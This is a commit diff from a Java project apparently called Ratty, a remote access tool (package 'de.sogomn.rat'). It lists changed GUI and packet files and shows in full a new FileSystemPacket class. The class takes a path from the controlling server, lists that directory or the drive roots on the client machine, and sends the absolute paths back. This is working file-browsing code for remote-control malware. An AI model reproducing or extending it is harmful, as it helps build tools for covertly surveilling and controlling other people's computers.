-
BINRatty/res/gui_icon.png
-
BINRatty/res/menu_icons.png
-
BINRatty/res/menu_icons_tree.png
-
1Ratty/src/de/sogomn/rat/Ratty.java
-
96Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java
-
3Ratty/src/de/sogomn/rat/packet/PacketType.java
-
5Ratty/src/de/sogomn/rat/packet/PopupPacket.java
-
6Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
-
142Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java
-
4Ratty/src/de/sogomn/rat/server/gui/IGuiController.java
-
18Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
-
91Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
-
5Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
Before Width: 16 | Height: 16 | Size: 162 B After Width: 16 | Height: 16 | Size: 164 B |
Before Width: 48 | Height: 48 | Size: 601 B After Width: 48 | Height: 48 | Size: 618 B |
After Width: 48 | Height: 32 | Size: 469 B |
@ -0,0 +1,96 @@ |
|||
package de.sogomn.rat.packet; |
|||
|
|||
import java.io.File; |
|||
import java.util.ArrayList; |
|||
import java.util.stream.Stream; |
|||
|
|||
import de.sogomn.rat.ActiveClient; |
|||
|
|||
public class FileSystemPacket extends AbstractPingPongPacket { |
|||
|
|||
private String rootFile; |
|||
private String[] paths; |
|||
|
|||
private static final byte INCOMING = 0; |
|||
private static final byte END = 1; |
|||
|
|||
public FileSystemPacket(final String rootFile) { |
|||
this.rootFile = rootFile; |
|||
|
|||
type = REQUEST; |
|||
paths = new String[0]; |
|||
} |
|||
|
|||
public FileSystemPacket() { |
|||
this(""); |
|||
|
|||
type = DATA; |
|||
} |
|||
|
|||
@Override |
|||
protected void sendRequest(final ActiveClient client) { |
|||
client.writeUTF(rootFile); |
|||
} |
|||
|
|||
@Override |
|||
protected void sendData(final ActiveClient client) { |
|||
for (final String path : paths) { |
|||
client.writeByte(INCOMING); |
|||
client.writeUTF(path); |
|||
} |
|||
|
|||
client.writeByte(END); |
|||
} |
|||
|
|||
@Override |
|||
protected void receiveRequest(final ActiveClient client) { |
|||
rootFile = client.readUTF(); |
|||
} |
|||
|
|||
@Override |
|||
protected void receiveData(final ActiveClient client) { |
|||
final ArrayList<String> pathList = new ArrayList<String>(); |
|||
|
|||
while (client.readByte() == INCOMING) { |
|||
final String path = client.readUTF(); |
|||
|
|||
pathList.add(path); |
|||
} |
|||
|
|||
paths = new String[pathList.size()]; |
|||
paths = pathList.toArray(paths); |
|||
} |
|||
|
|||
@Override |
|||
protected void executeRequest(final ActiveClient client) { |
|||
final File[] children; |
|||
|
|||
if (!rootFile.isEmpty()) { |
|||
final File file = new File(rootFile); |
|||
|
|||
children = file.listFiles(); |
|||
} else { |
|||
children = File.listRoots(); |
|||
} |
|||
|
|||
if (children != null) { |
|||
paths = Stream |
|||
.of(children) |
|||
.map(File::getAbsolutePath) |
|||
.toArray(String[]::new); |
|||
} |
|||
|
|||
type = DATA; |
|||
client.addPacket(this); |
|||
} |
|||
|
|||
@Override |
|||
protected void executeData(final ActiveClient client) { |
|||
//... |
|||
} |
|||
|
|||
public String[] getPaths() { |
|||
return paths; |
|||
} |
|||
|
|||
} |